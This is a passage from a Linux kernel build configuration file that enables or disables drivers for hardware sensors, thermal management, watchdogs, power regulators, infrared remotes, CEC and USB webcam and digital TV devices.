# CONFIG_SENSORS_GPIO_FAN is not set
# CONFIG_SENSORS_HIH6130 is not set
# CONFIG_SENSORS_HS3001 is not set
# CONFIG_SENSORS_HTU31 is not set
# CONFIG_SENSORS_IIO_HWMON is not set
# CONFIG_SENSORS_I5500 is not set
# CONFIG_SENSORS_CORETEMP is not set
# CONFIG_SENSORS_ISL28022 is not set
# CONFIG_SENSORS_IT87 is not set
# CONFIG_SENSORS_JC42 is not set
CONFIG_SENSORS_POWERZ=y
# CONFIG_SENSORS_POWR1220 is not set
# CONFIG_SENSORS_LENOVO_EC is not set
# CONFIG_SENSORS_LINEAGE is not set
# CONFIG_SENSORS_LTC2945 is not set
# CONFIG_SENSORS_LTC2947_I2C is not set
# CONFIG_SENSORS_LTC2947_SPI is not set
# CONFIG_SENSORS_LTC2990 is not set
# CONFIG_SENSORS_LTC2991 is not set
# CONFIG_SENSORS_LTC2992 is not set
# CONFIG_SENSORS_LTC4151 is not set
# CONFIG_SENSORS_LTC4215 is not set
# CONFIG_SENSORS_LTC4222 is not set
# CONFIG_SENSORS_LTC4245 is not set
# CONFIG_SENSORS_LTC4260 is not set
# CONFIG_SENSORS_LTC4261 is not set
# CONFIG_SENSORS_LTC4282 is not set
# CONFIG_SENSORS_MAX1111 is not set
# CONFIG_SENSORS_MAX127 is not set
# CONFIG_SENSORS_MAX16065 is not set
# CONFIG_SENSORS_MAX1619 is not set
# CONFIG_SENSORS_MAX1668 is not set
# CONFIG_SENSORS_MAX197 is not set
# CONFIG_SENSORS_MAX31722 is not set
# CONFIG_SENSORS_MAX31730 is not set
# CONFIG_SENSORS_MAX31760 is not set
# CONFIG_MAX31827 is not set
# CONFIG_SENSORS_MAX6620 is not set
# CONFIG_SENSORS_MAX6621 is not set
# CONFIG_SENSORS_MAX6639 is not set
# CONFIG_SENSORS_MAX6650 is not set
# CONFIG_SENSORS_MAX6697 is not set
# CONFIG_SENSORS_MAX31790 is not set
# CONFIG_SENSORS_MC34VR500 is not set
# CONFIG_SENSORS_MCP3021 is not set
# CONFIG_SENSORS_TC654 is not set
# CONFIG_SENSORS_TPS23861 is not set
# CONFIG_SENSORS_MR75203 is not set
# CONFIG_SENSORS_ADCXX is not set
# CONFIG_SENSORS_LM63 is not set
# CONFIG_SENSORS_LM70 is not set
# CONFIG_SENSORS_LM73 is not set
# CONFIG_SENSORS_LM75 is not set
# CONFIG_SENSORS_LM77 is not set
# CONFIG_SENSORS_LM78 is not set
# CONFIG_SENSORS_LM80 is not set
# CONFIG_SENSORS_LM83 is not set
# CONFIG_SENSORS_LM85 is not set
# CONFIG_SENSORS_LM87 is not set
# CONFIG_SENSORS_LM90 is not set
# CONFIG_SENSORS_LM92 is not set
# CONFIG_SENSORS_LM93 is not set
# CONFIG_SENSORS_LM95234 is not set
# CONFIG_SENSORS_LM95241 is not set
# CONFIG_SENSORS_LM95245 is not set
# CONFIG_SENSORS_PC87360 is not set
# CONFIG_SENSORS_PC87427 is not set
# CONFIG_SENSORS_NTC_THERMISTOR is not set
# CONFIG_SENSORS_NCT6683 is not set
# CONFIG_SENSORS_NCT6775 is not set
# CONFIG_SENSORS_NCT6775_I2C is not set
# CONFIG_SENSORS_NCT7363 is not set
# CONFIG_SENSORS_NCT7802 is not set
# CONFIG_SENSORS_NCT7904 is not set
# CONFIG_SENSORS_NPCM7XX is not set
CONFIG_SENSORS_NZXT_KRAKEN2=y
# CONFIG_SENSORS_NZXT_KRAKEN3 is not set
CONFIG_SENSORS_NZXT_SMART2=y
# CONFIG_SENSORS_OCC_P8_I2C is not set
# CONFIG_SENSORS_PCF8591 is not set
# CONFIG_PMBUS is not set
# CONFIG_SENSORS_PT5161L is not set
# CONFIG_SENSORS_SBTSI is not set
# CONFIG_SENSORS_SHT15 is not set
# CONFIG_SENSORS_SHT21 is not set
# CONFIG_SENSORS_SHT3x is not set
# CONFIG_SENSORS_SHT4x is not set
# CONFIG_SENSORS_SHTC1 is not set
# CONFIG_SENSORS_SIS5595 is not set
# CONFIG_SENSORS_DME1737 is not set
# CONFIG_SENSORS_EMC1403 is not set
# CONFIG_SENSORS_EMC2103 is not set
# CONFIG_SENSORS_EMC2305 is not set
# CONFIG_SENSORS_EMC6W201 is not set
# CONFIG_SENSORS_SMSC47M1 is not set
# CONFIG_SENSORS_SMSC47M192 is not set
# CONFIG_SENSORS_SMSC47B397 is not set
# CONFIG_SENSORS_SCH5627 is not set
# CONFIG_SENSORS_SCH5636 is not set
# CONFIG_SENSORS_STTS751 is not set
# CONFIG_SENSORS_SURFACE_FAN is not set
# CONFIG_SENSORS_SURFACE_TEMP is not set
# CONFIG_SENSORS_ADC128D818 is not set
# CONFIG_SENSORS_ADS7828 is not set
# CONFIG_SENSORS_ADS7871 is not set
# CONFIG_SENSORS_AMC6821 is not set
# CONFIG_SENSORS_INA209 is not set
# CONFIG_SENSORS_INA2XX is not set
# CONFIG_SENSORS_INA238 is not set
# CONFIG_SENSORS_INA3221 is not set
# CONFIG_SENSORS_SPD5118 is not set
# CONFIG_SENSORS_TC74 is not set
# CONFIG_SENSORS_THMC50 is not set
# CONFIG_SENSORS_TMP102 is not set
# CONFIG_SENSORS_TMP103 is not set
# CONFIG_SENSORS_TMP108 is not set
# CONFIG_SENSORS_TMP401 is not set
# CONFIG_SENSORS_TMP421 is not set
# CONFIG_SENSORS_TMP464 is not set
# CONFIG_SENSORS_TMP513 is not set
# CONFIG_SENSORS_TSC1641 is not set
# CONFIG_SENSORS_VIA_CPUTEMP is not set
# CONFIG_SENSORS_VIA686A is not set
# CONFIG_SENSORS_VT1211 is not set
# CONFIG_SENSORS_VT8231 is not set
# CONFIG_SENSORS_W83773G is not set
# CONFIG_SENSORS_W83781D is not set
# CONFIG_SENSORS_W83791D is not set
# CONFIG_SENSORS_W83792D is not set
# CONFIG_SENSORS_W83793 is not set
# CONFIG_SENSORS_W83795 is not set
# CONFIG_SENSORS_W83L785TS is not set
# CONFIG_SENSORS_W83L786NG is not set
# CONFIG_SENSORS_W83627HF is not set
# CONFIG_SENSORS_W83627EHF is not set
# CONFIG_SENSORS_XGENE is not set

#
# ACPI drivers
#
# CONFIG_SENSORS_ACPI_POWER is not set
# CONFIG_SENSORS_ATK0110 is not set
# CONFIG_SENSORS_ASUS_WMI is not set
# CONFIG_SENSORS_ASUS_EC is not set
# CONFIG_SENSORS_HP_WMI is not set
CONFIG_THERMAL=y
CONFIG_THERMAL_NETLINK=y
# CONFIG_THERMAL_STATISTICS is not set
# CONFIG_THERMAL_DEBUGFS is not set
# CONFIG_THERMAL_CORE_TESTING is not set
CONFIG_THERMAL_EMERGENCY_POWEROFF_DELAY_MS=0
CONFIG_THERMAL_HWMON=y
# CONFIG_THERMAL_OF is not set
CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y
# CONFIG_THERMAL_DEFAULT_GOV_FAIR_SHARE is not set
# CONFIG_THERMAL_DEFAULT_GOV_USER_SPACE is not set
# CONFIG_THERMAL_GOV_FAIR_SHARE is not set
CONFIG_THERMAL_GOV_STEP_WISE=y
# CONFIG_THERMAL_GOV_BANG_BANG is not set
# CONFIG_THERMAL_GOV_USER_SPACE is not set
# CONFIG_PCIE_THERMAL is not set
# CONFIG_THERMAL_EMULATION is not set
# CONFIG_THERMAL_MMIO is not set

#
# Intel thermal drivers
#
# CONFIG_INTEL_POWERCLAMP is not set
CONFIG_X86_THERMAL_VECTOR=y
# CONFIG_X86_PKG_TEMP_THERMAL is not set
# CONFIG_INTEL_SOC_DTS_THERMAL is not set

#
# ACPI INT340X thermal drivers
#
# CONFIG_INT340X_THERMAL is not set
# end of ACPI INT340X thermal drivers

# CONFIG_INTEL_BXT_PMIC_THERMAL is not set
# CONFIG_INTEL_PCH_THERMAL is not set
# CONFIG_INTEL_TCC_COOLING is not set
# CONFIG_INTEL_HFI_THERMAL is not set
# end of Intel thermal drivers

# CONFIG_GENERIC_ADC_THERMAL is not set
CONFIG_WATCHDOG=y
# CONFIG_WATCHDOG_CORE is not set
# CONFIG_WATCHDOG_NOWAYOUT is not set
CONFIG_WATCHDOG_HANDLE_BOOT_ENABLED=y
CONFIG_WATCHDOG_OPEN_TIMEOUT=0
# CONFIG_WATCHDOG_SYSFS is not set
# CONFIG_WATCHDOG_HRTIMER_PRETIMEOUT is not set

#
# Watchdog Pretimeout Governors
#

#
# Watchdog Device Drivers
#
# CONFIG_SOFT_WATCHDOG is not set
# CONFIG_GPIO_WATCHDOG is not set
# CONFIG_LENOVO_SE10_WDT is not set
# CONFIG_LENOVO_SE30_WDT is not set
# CONFIG_WDAT_WDT is not set
# CONFIG_XILINX_WATCHDOG is not set
# CONFIG_ZIIRAVE_WATCHDOG is not set
# CONFIG_CADENCE_WATCHDOG is not set
# CONFIG_DW_WATCHDOG is not set
# CONFIG_TWL4030_WATCHDOG is not set
# CONFIG_MAX63XX_WATCHDOG is not set
# CONFIG_RETU_WATCHDOG is not set
# CONFIG_ACQUIRE_WDT is not set
# CONFIG_ADVANTECH_WDT is not set
# CONFIG_ADVANTECH_EC_WDT is not set
# CONFIG_ALIM1535_WDT is not set
# CONFIG_ALIM7101_WDT is not set
# CONFIG_EBC_C384_WDT is not set
# CONFIG_EXAR_WDT is not set
# CONFIG_F71808E_WDT is not set
# CONFIG_SP5100_TCO is not set
# CONFIG_SBC_FITPC2_WATCHDOG is not set
# CONFIG_EUROTECH_WDT is not set
# CONFIG_IB700_WDT is not set
# CONFIG_IBMASR is not set
# CONFIG_WAFER_WDT is not set
# CONFIG_I6300ESB_WDT is not set
# CONFIG_IE6XX_WDT is not set
# CONFIG_INTEL_OC_WATCHDOG is not set
# CONFIG_ITCO_WDT is not set
# CONFIG_IT8712F_WDT is not set
# CONFIG_IT87_WDT is not set
# CONFIG_HP_WATCHDOG is not set
# CONFIG_SC1200_WDT is not set
# CONFIG_PC87413_WDT is not set
# CONFIG_NV_TCO is not set
# CONFIG_60XX_WDT is not set
# CONFIG_SMSC_SCH311X_WDT is not set
# CONFIG_SMSC37B787_WDT is not set
# CONFIG_TQMX86_WDT is not set
# CONFIG_VIA_WDT is not set
# CONFIG_W83627HF_WDT is not set
# CONFIG_W83877F_WDT is not set
# CONFIG_W83977F_WDT is not set
# CONFIG_MACHZ_WDT is not set
# CONFIG_SBC_EPX_C3_WATCHDOG is not set
# CONFIG_INTEL_MEI_WDT is not set
# CONFIG_NI903X_WDT is not set
# CONFIG_NIC7018_WDT is not set
# CONFIG_MEN_A21_WDT is not set

#
# PCI-based Watchdog Cards
#
# CONFIG_PCIPCWATCHDOG is not set
# CONFIG_WDTPCI is not set

#
# USB-based Watchdog Cards
#
CONFIG_USBPCWATCHDOG=y
CONFIG_SSB_POSSIBLE=y
CONFIG_SSB=y
CONFIG_SSB_PCIHOST_POSSIBLE=y
# CONFIG_SSB_PCIHOST is not set
CONFIG_SSB_PCMCIAHOST_POSSIBLE=y
# CONFIG_SSB_PCMCIAHOST is not set
CONFIG_SSB_SDIOHOST_POSSIBLE=y
# CONFIG_SSB_SDIOHOST is not set
# CONFIG_SSB_DRIVER_GPIO is not set
CONFIG_BCMA_POSSIBLE=y
CONFIG_BCMA=y
CONFIG_BCMA_HOST_PCI_POSSIBLE=y
# CONFIG_BCMA_HOST_PCI is not set
# CONFIG_BCMA_HOST_SOC is not set
# CONFIG_BCMA_DRIVER_PCI is not set
# CONFIG_BCMA_DRIVER_GMAC_CMN is not set
# CONFIG_BCMA_DRIVER_GPIO is not set
# CONFIG_BCMA_DEBUG is not set

#
# Multifunction device drivers
#
CONFIG_MFD_CORE=y
# CONFIG_MFD_ADP5585 is not set
# CONFIG_MFD_ACT8945A is not set
# CONFIG_MFD_AS3711 is not set
# CONFIG_MFD_SMPRO is not set
# CONFIG_MFD_AS3722 is not set
# CONFIG_PMIC_ADP5520 is not set
# CONFIG_MFD_AAT2870_CORE is not set
# CONFIG_MFD_ATMEL_FLEXCOM is not set
# CONFIG_MFD_ATMEL_HLCDC is not set
# CONFIG_MFD_BCM590XX is not set
# CONFIG_MFD_BD9571MWV is not set
# CONFIG_MFD_AXP20X_I2C is not set
# CONFIG_MFD_CGBC is not set
# CONFIG_MFD_CS40L50_I2C is not set
# CONFIG_MFD_CS40L50_SPI is not set
# CONFIG_MFD_CS42L43_I2C is not set
# CONFIG_MFD_CS42L43_SDW is not set
# CONFIG_MFD_LOCHNAGAR is not set
# CONFIG_MFD_MADERA is not set
# CONFIG_PMIC_DA903X is not set
# CONFIG_MFD_DA9052_SPI is not set
# CONFIG_MFD_DA9052_I2C is not set
# CONFIG_MFD_DA9055 is not set
# CONFIG_MFD_DA9062 is not set
# CONFIG_MFD_DA9063 is not set
# CONFIG_MFD_DA9150 is not set
CONFIG_MFD_DLN2=y
# CONFIG_MFD_GATEWORKS_GSC is not set
# CONFIG_MFD_MC13XXX_SPI is not set
# CONFIG_MFD_MC13XXX_I2C is not set
# CONFIG_MFD_MP2629 is not set
# CONFIG_MFD_PF1550 is not set
# CONFIG_MFD_HI6421_PMIC is not set
# CONFIG_MFD_INTEL_QUARK_I2C_GPIO is not set
CONFIG_LPC_ICH=y
# CONFIG_LPC_SCH is not set
# CONFIG_INTEL_SOC_PMIC is not set
CONFIG_INTEL_SOC_PMIC_BXTWC=y
CONFIG_INTEL_SOC_PMIC_CHTWC=y
# CONFIG_INTEL_SOC_PMIC_CHTDC_TI is not set
# CONFIG_MFD_INTEL_LPSS_ACPI is not set
# CONFIG_MFD_INTEL_LPSS_PCI is not set
CONFIG_MFD_INTEL_PMC_BXT=y
# CONFIG_MFD_IQS62X is not set
# CONFIG_MFD_JANZ_CMODIO is not set
# CONFIG_MFD_KEMPLD is not set
# CONFIG_MFD_88PM800 is not set
# CONFIG_MFD_88PM805 is not set
# CONFIG_MFD_88PM860X is not set
# CONFIG_MFD_88PM886_PMIC is not set
# CONFIG_MFD_MAX5970 is not set
# CONFIG_MFD_MAX14577 is not set
# CONFIG_MFD_MAX77541 is not set
# CONFIG_MFD_MAX77620 is not set
# CONFIG_MFD_MAX77650 is not set
# CONFIG_MFD_MAX77686 is not set
# CONFIG_MFD_MAX77693 is not set
# CONFIG_MFD_MAX77705 is not set
# CONFIG_MFD_MAX77714 is not set
# CONFIG_MFD_MAX77759 is not set
# CONFIG_MFD_MAX77843 is not set
# CONFIG_MFD_MAX8907 is not set
# CONFIG_MFD_MAX8925 is not set
# CONFIG_MFD_MAX8997 is not set
# CONFIG_MFD_MAX8998 is not set
CONFIG_MFD_MT6360=y
CONFIG_MFD_MT6370=y
# CONFIG_MFD_MT6397 is not set
# CONFIG_MFD_MENF21BMC is not set
# CONFIG_MFD_NCT6694 is not set
# CONFIG_MFD_OCELOT is not set
# CONFIG_EZX_PCAP is not set
# CONFIG_MFD_CPCAP is not set
CONFIG_MFD_VIPERBOARD=y
# CONFIG_MFD_NTXEC is not set
CONFIG_MFD_RETU=y
# CONFIG_MFD_SY7636A is not set
# CONFIG_MFD_RDC321X is not set
# CONFIG_MFD_RT4831 is not set
# CONFIG_MFD_RT5033 is not set
# CONFIG_MFD_RT5120 is not set
# CONFIG_MFD_RC5T583 is not set
# CONFIG_MFD_RK8XX_I2C is not set
# CONFIG_MFD_RK8XX_SPI is not set
# CONFIG_MFD_RN5T618 is not set
# CONFIG_MFD_SEC_I2C is not set
# CONFIG_MFD_SI476X_CORE is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_MFD_SKY81452 is not set
# CONFIG_MFD_STMPE is not set
CONFIG_MFD_SYSCON=y
# CONFIG_MFD_LP3943 is not set
# CONFIG_MFD_LP8788 is not set
# CONFIG_MFD_TI_LMU is not set
# CONFIG_MFD_BQ257XX is not set
# CONFIG_MFD_PALMAS is not set
# CONFIG_TPS6105X is not set
# CONFIG_TPS65010 is not set
# CONFIG_TPS6507X is not set
# CONFIG_MFD_TPS65086 is not set
# CONFIG_MFD_TPS65090 is not set
# CONFIG_MFD_TPS65217 is not set
# CONFIG_MFD_TI_LP873X is not set
# CONFIG_MFD_TI_LP87565 is not set
# CONFIG_MFD_TPS65218 is not set
# CONFIG_MFD_TPS65219 is not set
# CONFIG_MFD_TPS6586X is not set
# CONFIG_MFD_TPS65910 is not set
# CONFIG_MFD_TPS65912_I2C is not set
# CONFIG_MFD_TPS65912_SPI is not set
# CONFIG_MFD_TPS6594_I2C is not set
# CONFIG_MFD_TPS6594_SPI is not set
CONFIG_TWL4030_CORE=y
# CONFIG_MFD_TWL4030_AUDIO is not set
# CONFIG_TWL6040_CORE is not set
# CONFIG_MFD_LM3533 is not set
# CONFIG_MFD_TC3589X is not set
# CONFIG_MFD_TQMX86 is not set
# CONFIG_MFD_VX855 is not set
# CONFIG_MFD_ARIZONA_I2C is not set
# CONFIG_MFD_ARIZONA_SPI is not set
# CONFIG_MFD_WM8400 is not set
# CONFIG_MFD_WM831X_I2C is not set
# CONFIG_MFD_WM831X_SPI is not set
# CONFIG_MFD_WM8350_I2C is not set
# CONFIG_MFD_WM8994 is not set
# CONFIG_MFD_ROHM_BD718XX is not set
# CONFIG_MFD_ROHM_BD71828 is not set
# CONFIG_MFD_ROHM_BD957XMUF is not set
# CONFIG_MFD_ROHM_BD96801 is not set
# CONFIG_MFD_STPMIC1 is not set
# CONFIG_MFD_STMFX is not set
# CONFIG_MFD_ATC260X_I2C is not set
# CONFIG_MFD_QCOM_PM8008 is not set
# CONFIG_RAVE_SP_CORE is not set
# CONFIG_MFD_INTEL_M10_BMC_SPI is not set
# CONFIG_MFD_QNAP_MCU is not set
# CONFIG_MFD_RSMU_I2C is not set
# CONFIG_MFD_RSMU_SPI is not set
# CONFIG_MFD_UPBOARD_FPGA is not set
# CONFIG_MFD_MAX7360 is not set
# end of Multifunction device drivers

CONFIG_REGULATOR=y
# CONFIG_REGULATOR_DEBUG is not set
CONFIG_REGULATOR_FIXED_VOLTAGE=y
# CONFIG_REGULATOR_VIRTUAL_CONSUMER is not set
# CONFIG_REGULATOR_USERSPACE_CONSUMER is not set
# CONFIG_REGULATOR_NETLINK_EVENTS is not set
# CONFIG_REGULATOR_88PG86X is not set
# CONFIG_REGULATOR_ACT8865 is not set
# CONFIG_REGULATOR_AD5398 is not set
# CONFIG_REGULATOR_ADP5055 is not set
# CONFIG_REGULATOR_AW37503 is not set
# CONFIG_REGULATOR_DA9121 is not set
# CONFIG_REGULATOR_DA9210 is not set
# CONFIG_REGULATOR_DA9211 is not set
# CONFIG_REGULATOR_FAN53555 is not set
# CONFIG_REGULATOR_FAN53880 is not set
# CONFIG_REGULATOR_GPIO is not set
# CONFIG_REGULATOR_ISL9305 is not set
# CONFIG_REGULATOR_ISL6271A is not set
# CONFIG_REGULATOR_FP9931 is not set
# CONFIG_REGULATOR_LP3971 is not set
# CONFIG_REGULATOR_LP3972 is not set
# CONFIG_REGULATOR_LP872X is not set
# CONFIG_REGULATOR_LP8755 is not set
# CONFIG_REGULATOR_LTC3589 is not set
# CONFIG_REGULATOR_LTC3676 is not set
# CONFIG_REGULATOR_MAX1586 is not set
# CONFIG_REGULATOR_MAX77503 is not set
# CONFIG_REGULATOR_MAX77675 is not set
# CONFIG_REGULATOR_MAX77857 is not set
# CONFIG_REGULATOR_MAX8649 is not set
# CONFIG_REGULATOR_MAX8660 is not set
# CONFIG_REGULATOR_MAX8893 is not set
# CONFIG_REGULATOR_MAX8952 is not set
# CONFIG_REGULATOR_MAX20086 is not set
# CONFIG_REGULATOR_MAX20411 is not set
# CONFIG_REGULATOR_MAX77826 is not set
# CONFIG_REGULATOR_MAX77838 is not set
# CONFIG_REGULATOR_MCP16502 is not set
# CONFIG_REGULATOR_MP5416 is not set
# CONFIG_REGULATOR_MP8859 is not set
# CONFIG_REGULATOR_MP886X is not set
# CONFIG_REGULATOR_MPQ7920 is not set
# CONFIG_REGULATOR_MT6311 is not set
# CONFIG_REGULATOR_MT6360 is not set
# CONFIG_REGULATOR_MT6370 is not set
# CONFIG_REGULATOR_PCA9450 is not set
# CONFIG_REGULATOR_PF9453 is not set
# CONFIG_REGULATOR_PF0900 is not set
# CONFIG_REGULATOR_PF530X is not set
# CONFIG_REGULATOR_PF8X00 is not set
# CONFIG_REGULATOR_PFUZE100 is not set
# CONFIG_REGULATOR_PV88060 is not set
# CONFIG_REGULATOR_PV88080 is not set
# CONFIG_REGULATOR_PV88090 is not set
# CONFIG_REGULATOR_RAA215300 is not set
# CONFIG_REGULATOR_RT4801 is not set
# CONFIG_REGULATOR_RT4803 is not set
# CONFIG_REGULATOR_RT5133 is not set
# CONFIG_REGULATOR_RT5190A is not set
# CONFIG_REGULATOR_RT5739 is not set
# CONFIG_REGULATOR_RT5759 is not set
# CONFIG_REGULATOR_RT6160 is not set
# CONFIG_REGULATOR_RT6190 is not set
# CONFIG_REGULATOR_RT6245 is not set
# CONFIG_REGULATOR_RT8092 is not set
# CONFIG_REGULATOR_RTQ2134 is not set
# CONFIG_REGULATOR_RTMV20 is not set
# CONFIG_REGULATOR_RTQ6752 is not set
# CONFIG_REGULATOR_RTQ2208 is not set
# CONFIG_REGULATOR_SLG51000 is not set
# CONFIG_REGULATOR_SY8106A is not set
# CONFIG_REGULATOR_SY8824X is not set
# CONFIG_REGULATOR_SY8827N is not set
# CONFIG_REGULATOR_TPS51632 is not set
# CONFIG_REGULATOR_TPS62360 is not set
# CONFIG_REGULATOR_TPS6286X is not set
# CONFIG_REGULATOR_TPS6287X is not set
# CONFIG_REGULATOR_TPS65023 is not set
# CONFIG_REGULATOR_TPS6507X is not set
# CONFIG_REGULATOR_TPS65132 is not set
# CONFIG_REGULATOR_TPS65185 is not set
# CONFIG_REGULATOR_TPS6524X is not set
CONFIG_REGULATOR_TWL4030=y
# CONFIG_REGULATOR_VCTRL is not set
CONFIG_RC_CORE=y
# CONFIG_LIRC is not set
# CONFIG_RC_MAP is not set
# CONFIG_RC_DECODERS is not set
CONFIG_RC_DEVICES=y
# CONFIG_IR_ENE is not set
# CONFIG_IR_FINTEK is not set
# CONFIG_IR_GPIO_CIR is not set
# CONFIG_IR_HIX5HD2 is not set
CONFIG_IR_IGORPLUGUSB=y
CONFIG_IR_IGUANA=y
CONFIG_IR_IMON=y
CONFIG_IR_IMON_RAW=y
# CONFIG_IR_ITE_CIR is not set
CONFIG_IR_MCEUSB=y
# CONFIG_IR_NUVOTON is not set
CONFIG_IR_REDRAT3=y
# CONFIG_IR_SERIAL is not set
CONFIG_IR_STREAMZAP=y
CONFIG_IR_TOY=y
CONFIG_IR_TTUSBIR=y
# CONFIG_IR_WINBOND_CIR is not set
CONFIG_RC_ATI_REMOTE=y
# CONFIG_RC_LOOPBACK is not set
CONFIG_RC_XBOX_DVD=y
CONFIG_CEC_CORE=y

#
# CEC support
#
# CONFIG_MEDIA_CEC_RC is not set
CONFIG_MEDIA_CEC_SUPPORT=y
# CONFIG_CEC_CH7322 is not set
# CONFIG_CEC_NXP_TDA9950 is not set
# CONFIG_CEC_GPIO is not set
# CONFIG_CEC_SECO is not set
# CONFIG_USB_EXTRON_DA_HD_4K_PLUS_CEC is not set
CONFIG_USB_PULSE8_CEC=y
CONFIG_USB_RAINSHADOW_CEC=y
# end of CEC support

CONFIG_MEDIA_SUPPORT=y
CONFIG_MEDIA_SUPPORT_FILTER=y
# CONFIG_MEDIA_SUBDRV_AUTOSELECT is not set

#
# Media device types
#
CONFIG_MEDIA_CAMERA_SUPPORT=y
CONFIG_MEDIA_ANALOG_TV_SUPPORT=y
CONFIG_MEDIA_DIGITAL_TV_SUPPORT=y
CONFIG_MEDIA_RADIO_SUPPORT=y
CONFIG_MEDIA_SDR_SUPPORT=y
CONFIG_MEDIA_PLATFORM_SUPPORT=y
CONFIG_MEDIA_TEST_SUPPORT=y
# end of Media device types

CONFIG_VIDEO_DEV=y
CONFIG_MEDIA_CONTROLLER=y
CONFIG_DVB_CORE=y

#
# Video4Linux options
#
CONFIG_VIDEO_V4L2_I2C=y
CONFIG_VIDEO_V4L2_SUBDEV_API=y
# CONFIG_VIDEO_ADV_DEBUG is not set
# CONFIG_VIDEO_FIXED_MINOR_RANGES is not set
CONFIG_VIDEO_TUNER=y
CONFIG_V4L2_MEM2MEM_DEV=y
# end of Video4Linux options

#
# Media controller options
#
CONFIG_MEDIA_CONTROLLER_DVB=y
# end of Media controller options

#
# Digital TV options
#
# CONFIG_DVB_MMAP is not set
# CONFIG_DVB_NET is not set
CONFIG_DVB_MAX_ADAPTERS=16
# CONFIG_DVB_DYNAMIC_MINORS is not set
# CONFIG_DVB_DEMUX_SECTION_LOSS_LOG is not set
# CONFIG_DVB_ULE_DEBUG is not set
# end of Digital TV options

#
# Media drivers
#

#
# Drivers filtered as selected at 'Filter media drivers'
#

#
# Media drivers
#
CONFIG_MEDIA_USB_SUPPORT=y

#
# Webcam devices
#
CONFIG_USB_GSPCA=y
CONFIG_USB_GSPCA_BENQ=y
CONFIG_USB_GSPCA_CONEX=y
CONFIG_USB_GSPCA_CPIA1=y
CONFIG_USB_GSPCA_DTCS033=y
CONFIG_USB_GSPCA_ETOMS=y
CONFIG_USB_GSPCA_FINEPIX=y
CONFIG_USB_GSPCA_JEILINJ=y
CONFIG_USB_GSPCA_JL2005BCD=y
CONFIG_USB_GSPCA_KINECT=y
CONFIG_USB_GSPCA_KONICA=y
CONFIG_USB_GSPCA_MARS=y
CONFIG_USB_GSPCA_MR97310A=y
CONFIG_USB_GSPCA_NW80X=y
CONFIG_USB_GSPCA_OV519=y
CONFIG_USB_GSPCA_OV534=y
CONFIG_USB_GSPCA_OV534_9=y
CONFIG_USB_GSPCA_PAC207=y
CONFIG_USB_GSPCA_PAC7302=y
CONFIG_USB_GSPCA_PAC7311=y
CONFIG_USB_GSPCA_SE401=y
CONFIG_USB_GSPCA_SN9C2028=y
CONFIG_USB_GSPCA_SN9C20X=y
CONFIG_USB_GSPCA_SONIXB=y
CONFIG_USB_GSPCA_SONIXJ=y
CONFIG_USB_GSPCA_SPCA1528=y
CONFIG_USB_GSPCA_SPCA500=y
CONFIG_USB_GSPCA_SPCA501=y
CONFIG_USB_GSPCA_SPCA505=y
CONFIG_USB_GSPCA_SPCA506=y
CONFIG_USB_GSPCA_SPCA508=y
CONFIG_USB_GSPCA_SPCA561=y
CONFIG_USB_GSPCA_SQ905=y
CONFIG_USB_GSPCA_SQ905C=y
CONFIG_USB_GSPCA_SQ930X=y
CONFIG_USB_GSPCA_STK014=y
CONFIG_USB_GSPCA_STK1135=y
CONFIG_USB_GSPCA_STV0680=y
CONFIG_USB_GSPCA_SUNPLUS=y
CONFIG_USB_GSPCA_T613=y
CONFIG_USB_GSPCA_TOPRO=y
CONFIG_USB_GSPCA_TOUPTEK=y
CONFIG_USB_GSPCA_TV8532=y
CONFIG_USB_GSPCA_VC032X=y
CONFIG_USB_GSPCA_VICAM=y
CONFIG_USB_GSPCA_XIRLINK_CIT=y
CONFIG_USB_GSPCA_ZC3XX=y
CONFIG_USB_GL860=y
CONFIG_USB_M5602=y
CONFIG_USB_STV06XX=y
CONFIG_USB_PWC=y
# CONFIG_USB_PWC_DEBUG is not set
CONFIG_USB_PWC_INPUT_EVDEV=y
CONFIG_USB_S2255=y
CONFIG_VIDEO_USBTV=y
CONFIG_USB_VIDEO_CLASS=y
CONFIG_USB_VIDEO_CLASS_INPUT_EVDEV=y

#
# Analog TV USB devices
#
CONFIG_VIDEO_GO7007=y
CONFIG_VIDEO_GO7007_USB=y
CONFIG_VIDEO_GO7007_LOADER=y
CONFIG_VIDEO_GO7007_USB_S2250_BOARD=y
CONFIG_VIDEO_HDPVR=y
CONFIG_VIDEO_PVRUSB2=y
CONFIG_VIDEO_PVRUSB2_SYSFS=y
CONFIG_VIDEO_PVRUSB2_DVB=y
# CONFIG_VIDEO_PVRUSB2_DEBUGIFC is not set
CONFIG_VIDEO_STK1160=y

#
# Analog/digital TV USB devices
#
CONFIG_VIDEO_AU0828=y
CONFIG_VIDEO_AU0828_V4L2=y
CONFIG_VIDEO_AU0828_RC=y
CONFIG_VIDEO_CX231XX=y
CONFIG_VIDEO_CX231XX_RC=y
CONFIG_VIDEO_CX231XX_ALSA=y
CONFIG_VIDEO_CX231XX_DVB=y

#
# Digital TV USB devices
#
CONFIG_DVB_AS102=y
CONFIG_DVB_B2C2_FLEXCOP_USB=y
# CONFIG_DVB_B2C2_FLEXCOP_USB_DEBUG is not set
CONFIG_DVB_USB_V2=y
CONFIG_DVB_USB_AF9015=y
CONFIG_DVB_USB_AF9035=y
CONFIG_DVB_USB_ANYSEE=y
CONFIG_DVB_USB_AU6610=y
CONFIG_DVB_USB_AZ6007=y
CONFIG_DVB_USB_CE6230=y
CONFIG_DVB_USB_DVBSKY=y
CONFIG_DVB_USB_EC168=y
CONFIG_DVB_USB_GL861=y
CONFIG_DVB_USB_LME2510=y
CONFIG_DVB_USB_MXL111SF=y
CONFIG_DVB_USB_RTL28XXU=y
CONFIG_DVB_USB_ZD1301=y
CONFIG_DVB_USB=y
# CONFIG_DVB_USB_DEBUG is not set
CONFIG_DVB_USB_A800=y
CONFIG_DVB_USB_AF9005=y
CONFIG_DVB_USB_AF9005_REMOTE=y
CONFIG_DVB_USB_AZ6027=y
CONFIG_DVB_USB_CINERGY_T2=y
CONFIG_DVB_USB_CXUSB=y
CONFIG_DVB_USB_CXUSB_ANALOG=y
CONFIG_DVB_USB_DIB0700=y
CONFIG_DVB_USB_DIB3000MC=y
CONFIG_DVB_USB_DIBUSB_MB=y
# CONFIG_DVB_USB_DIBUSB_MB_FAULTY is not set
CONFIG_DVB_USB_DIBUSB_MC=y
CONFIG_DVB_USB_DIGITV=y
CONFIG_DVB_USB_DTT200U=y
CONFIG_DVB_USB_DTV5100=y
CONFIG_DVB_USB_DW2102=y
CONFIG_DVB_USB_GP8PSK=y
